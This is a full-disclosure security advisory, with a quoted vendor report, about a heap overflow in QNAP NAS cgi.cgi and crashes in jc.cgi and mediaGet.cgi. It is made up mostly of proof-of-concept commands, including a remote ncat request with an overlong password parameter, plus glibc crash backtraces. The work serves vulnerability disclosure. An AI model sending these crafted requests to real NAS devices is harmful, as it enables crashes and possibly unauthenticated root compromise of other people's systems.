QNAP NAS Devices suffer of heap overflow

==================
1) [Heap overflow]
==================

Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: 
QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK
Date: Sat, 31 Dec 2016 00:01:11 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
======= Memory map: ========
08048000-08069000 r-xp 00000000 00: 0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00: 0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00: 00 0                                  [heap]
[====SNIP====]
ffe53000-ffe54000 rw-p 00000000 00: 00 0
Content-Length: 0
Connection: close
Content-Type: text/plain

[Remote host]# 

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"
# ./cgi.cgi 

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c3da62]
/lib/libc.so.6(cfree+0x89)[0xf6c3f729]
/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]
/lib/libnss_compat.so.2[0xf6b8ac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]
/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7519098]
./cgi.cgi[0x80502ed]
./cgi.cgi[0x8051a7e]
/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]
./cgi.cgi[0x804d151]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 7559                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0                                  [heap]
[====SNIP====]
ffd9e000-ffdbe000 rwxp 00000000 00:00 0                                  [stack]
ffdbe000-ffdbf000 rw-p 00000000 00:00 0 
Aborted
# 

1.3)
# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"
# ./cgi.cgi                                                                   
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c9da62]
/lib/libc.so.6(cfree+0x89)[0xf6c9f729]
/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]
/lib/libnss_compat.so.2[0xf6beac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]
/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7579098]
[0x80502ed]
[0x0]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 6705                               /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 6705                               /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0                                  [heap]
[====SNIP====]
# ./cgi.cgi 
Segmentation fault
# 
# dmesg
[====SNIP====]
[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in 
libc-2.6.1.so[f6b6b000+12d000]
[====SNIP====]


/* Local as shown below, but can of course be called from remote */

==================
2) [STACK junk]
==================

# export QUERY_STRING="bug" 
# ./jc.cgi                 
Segmentation fault
# dmesg 
[====SNIP====]
[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in 
libc-2.6.1.so[f6c52000+12d000]
[====SNIP====]

==================
3) [STACK junk]
==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING="bug" 
# ./mediaGet.cgi
Segmentation fault
# dmesg 
[====SNIP====]
[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in 
libc-2.6.1.so[f6b6d000+12d000]
[====SNIP====]



Have a nice day (and happy new year)
/bashis

========================

    Hello mcw () noemail eu,
    
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    To: security () qnap com
    From: bashis mcw <mcw () noemail eu>
    Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!
    Message-ID: <5acc9d206d9601dc574a02b114c83e8a () aid qnap com>
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    Category : Administration
    
    
    Subject : QNAP NAS devices suffer of Heap Overflow!
    Severity Level : Critical
    Description : 
    
    Greetings gents,
    
    QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and
    non critical stack crash in "jc.cgi and mediaGet.cgi".
    
    Successful exploitation of this heap overflow vulnerability can lead to
    unauthorised root (admin) privileges on QNAP devices with anonymous
    access. (no credential needed to exploit)
    
    Please note: 1st February 2017 i will release details of these bugs to
    Full Disclosure and Bugtraq e-mail lists.
    
    Please see below and attached.
    
    Have a nice day (and happy new year)
    /bashis
    
    ==================
    1) [HEAP overflow]
    ==================
    
    Path: /home/httpd/cgi-bin/cgi.cgi
    u = valid user [guest|admin]
    
    1.1)
    
    /* Remote */
    
    [Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i